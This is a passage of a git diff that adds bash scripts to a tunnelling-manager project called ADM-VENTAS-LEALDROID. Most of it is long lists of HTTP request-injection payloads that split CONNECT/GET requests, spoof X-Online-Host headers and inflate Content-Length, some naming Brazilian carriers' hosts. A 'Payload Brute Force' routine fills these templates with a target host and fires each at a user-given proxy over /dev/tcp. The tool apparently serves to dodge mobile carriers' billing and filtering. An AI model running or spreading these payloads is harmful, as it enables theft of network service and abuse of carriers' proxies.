close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost\r\nHost:mhost\r\n\r\n[netData]\r\n \r\n\r\n +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]CONNECT mhost/ [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost/ [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]CONNECT [host_port][crlf]CONNECT mhost/ [crlf][crlf][cr] +[realData][crlf][split]GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT [host_port][crlf]GET mhost/ [crlf] +CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][raw][crlf][crlf] +[raw][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf] +[raw][crlf]X-Online-Host: mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf][crlf][raw][crlf]CONNECT [crlf] +GET http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[crlf][crlf][netData][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf][crlf] +[raw][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost/ [crlf][crlf] +[raw][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost/ [crlf][crlf] +CONNECT [host_port]@mhost/ HTTP/1.1[crlf]CONNECT mip:443 [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]GET mhost/ HTTP/1.1[cr][crlf][raw][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]GET mip:443@mhost/ HTTP/1.1[crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost/ User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive Connection: Transfer-Encoding[crlf] [protocol][crlf]User-Agent: [ua][crlf][raw][auth][crlf][crlf][netData][crlf] [crlf][crlf] +[raw][crlf]Host: mhost[crlf]GET http://mhost/ HTTP/1.1[crlf]X-Online-Host: mhost[crlf][crlf]' > $esquelet +} +err_fun () { +echo -e "${cor[5]} Operacion invalida" +exit +} +echo -e "${cor[1]} $bar ${cor[0]}" +echo -e "${cor[5]} Payload Brute Force" +echo -e "${cor[1]} $bar ${cor[3]}" +gerar_pay () { +# Coletando Host +while [[ ! ${value1} ]]; do + read -p " Host Test: " value1 +done +curl -I ${value1} > /dev/null 2>&1 || err_fun +[[ $(echo ${value1}|rev|cut -c 1) = "/" ]] && valor1="${value1:0:$((${#value1}-1))}" || valor1="${value1}" +valor2="127.0.0.1" +echo -e "${cor[1]} $bar ${cor[0]}" +echo -e "${cor[5]} Solicitud de metodo ${cor[3]}" +cat < " valor3 + case $valor3 in + 1)req="GET";; + 2)req="CONNECT";; + 3)req="PUT";; + 4)req="OPTIONS";; + 5)req="DELETE";; + 6)req="HEAD";; + 7)req="PATCH";; + 8)req="POST";; + esac +done +in="netData" +gerar_arqpay +sed -i "s;realData;abc;g" $esquelet +sed -i "s;netData;abc;g" $esquelet +sed -i "s;netdata;abc;g" $esquelet +sed -i "s;raw;abc;g" $esquelet +sed -i "s;abc;$in;g" $esquelet +sed -i "s;GET;$req;g" $esquelet +sed -i "s;mhost;$valor1;g" $esquelet +sed -i "s;mip;$valor2;g" $esquelet +echo -e "${cor[1]} $bar ${cor[0]}" +read -p " Escriba el Proxy / Dropbear: " hostprox +read -p " Introduzca el puerto: " portx +echo -e "${cor[1]} $bar ${cor[0]}" +echo -e "${cor[1]} ARRANQUE... ${cor[0]}" +echo -e "${cor[1]} $bar ${cor[0]}" +} +while true; do +echo -e " [1]-Prueba un Payload" +echo -e " [2]-Probar Payloads Registradas" +echo -e "${cor[1]} $bar ${cor[0]}" +read -p " [1-2]: " opx +case $opx in +1) +read -p " Introduzca Payload: " payloadx +echo "$payloadx" > $esquelet +sed -i "s;realData;abc;g" $esquelet +sed -i "s;netData;abc;g" $esquelet +sed -i "s;netdata;abc;g" $esquelet +sed -i "s;raw;abc;g" $esquelet +sed -i "s;abc;$in;g" $esquelet +sed -i "s;GET;$req;g" $esquelet +sed -i "s;mhost;$valor1;g" $esquelet +sed -i "s;mip;$valor2;g" $esquelet +construct_fun $esquelet +read -p " Escriba el Proxy / o Dropbear: " hostprox +read -p " Introduzca el puerto: " portx +echo -e "${cor[1]} $bar ${cor[0]}" +break +;; +2) +echo -e "${cor[1]} $bar ${cor[0]}" +gerar_pay +construct_fun $esquelet +break +;; +esac +done +read -p " Introduzca el tiempo de espera! (Segundos): " VARS +echo -e "${cor[1]} $bar ${cor[0]}\n" +line=$(($(cat $esquelet|wc -l)+1)) +for((a=1; a<$line; a++)); do +( +echo -ne "${cor[1]}Payload: ${cor[3]}" >&2 +cat $esquelet|head -${a}|tail -1 >&2 +echo -ne "${cor[1]}Respuesta: ${cor[2]}" >&2 +pay="$(cat $esquelet|head -${a}|tail -1)" +exec 5<>/dev/tcp/${hostprox}/${portx} +echo "$pay" >&5 +echo -e "$(cat <&5|head -1)\n" >&2 +) & > /dev/null +PID=$! +sleep ${VARS}s +kill -SIGINT $PID &>/dev/null && echo -e "Sin respuesta\n" +done +echo -ne "\033[0m" diff --git a/ADM-VENTAS-LEALDROID/request/payySND.sh b/ADM-VENTAS-LEALDROID/request/payySND.sh new file mode 100644 index 0000000..1998ca2 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/payySND.sh @@ -0,0 +1,264 @@ +#!/bin/bash +gerar_pays () { +echo 'GET http://mhost/ HTTP/1.1[crlf][raw][crlf] [crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf][crlf] +CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf] +CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf] [crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf][crlf] +GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] +GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf][crlf] +GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] +GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf][crlf] +CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf] [crlf][crlf] +CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf] +CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf][split][raw][crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost[crlf]Proxy-Authorization: basic: mhost[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive [crlf]Host: [host][crlf][crlf][split][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf] +[method] mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.1\nHost: mhost\nConnection: close\nConnection: close\nUser-Agent:[ua][crlf]Proxy-Connection: Keep-Alive[crlf]Host: [host][crlf][crlf][delay_split][raw][crlf][crlf][raw][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]User-Agent: KDDI[crlf]Host: [host][crlf][crlf][raw][raw][crlf][raw][crlf][raw][crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf]Host: m.opera.com[crlf]Proxy-Authorization: basic: *[crlf]User-Agent: KDDI[crlf]Connection: close[crlf]Proxy-Connection: Direct[crlf]Host: [host][crlf][crlf][raw][raw][crlf][crlf][raw][method] http://mhost[port] HTTP/1.1[crlf]Host: [host][crlf][crlf]CONNECT [host] [protocol][crlf][crlf][CONNECT [host] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[crlf][crlf] +[crlf][crlf]CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]CONNECT [host]@mhost/ [protocol][crlf][crlf] +[method] [host_port] [protocol] [delay_split]GET http://mhost/ HTTP/1.1[netData][crlf]GET mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf][method] [host_port] [protocol]?[split]GET http://mhost:8080/[crlf][crlf]GET [host_port] [protocol]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [protocol] [crlf]GET [host_port] [protocol]?[split]GET http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port] [protocol]?[split]GET http://mhost:/[crlf][crlf]POST [host_port] [protocol]?[split]GET[crlf]mhost:/[crlf]Content-Length: 999999999[crlf][crlf] +GET [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET mhost/ HTTP/1.1[crlf][crlf] +CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: navegue.vivo.ddivulga.com/pacote[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost/ HTTP/1.1[crlf]TRACE mhost/ HTTP/1.1[crlf]OPTIONS mhost/ HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost/ HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf] +[raw][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf] +[raw][split]GET mhost/ HTTP/1.1[crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]GET mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] +[raw][split]GET mhost/ HTTP/1.1[crlf][crlf] +GET [host_port] [protocol][instant_split]GET http://mhost/ HTTP/1.1[crlf][crlf] +GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf][crlf] +CONNECT [host_port] [protocol] [instant_split]GET http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf] +GET http://mhost/ HTTP/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol] [auth][crlf][crlf][delay_split][raw][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][delay_split]CONNECT [host_port] [protocol] [method][crlf] [crlf][crlf] +CONNECT [host_port] [protocol][crlf]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]X-Online-Host: mhost[crlf][crlf]X-Forward-Host: mhost[crlf]User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf] +GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf] Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf] Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf] Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf] Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf] +[netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: update[crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] [crlf][crlf] +[raw][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Upgrade-Insecure-Requests: 1[crlf]User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36[crlf]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8[crlf]Referer: http://mhost[crlf]Accept-Encoding: gzip, deflate, sdch[crlf]Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4[crlf]Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1[crlf][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][netData][crlf] [crlf][crlf] +GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf]Referer:http://mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: null[crlf]Connection: close[crlf]Proxy-Connection: x-online-host[crlf][crlf] CONNECT [host_port] [protocol] [netData][crlf]Content-Length: 130 [crlf][crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf][crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost[crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][method] [host_port]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][crlf] [crlf][crlf][netData][cr][crlf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf] +CONNECT [host_port]@mhost/ HTTP/1.0[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: 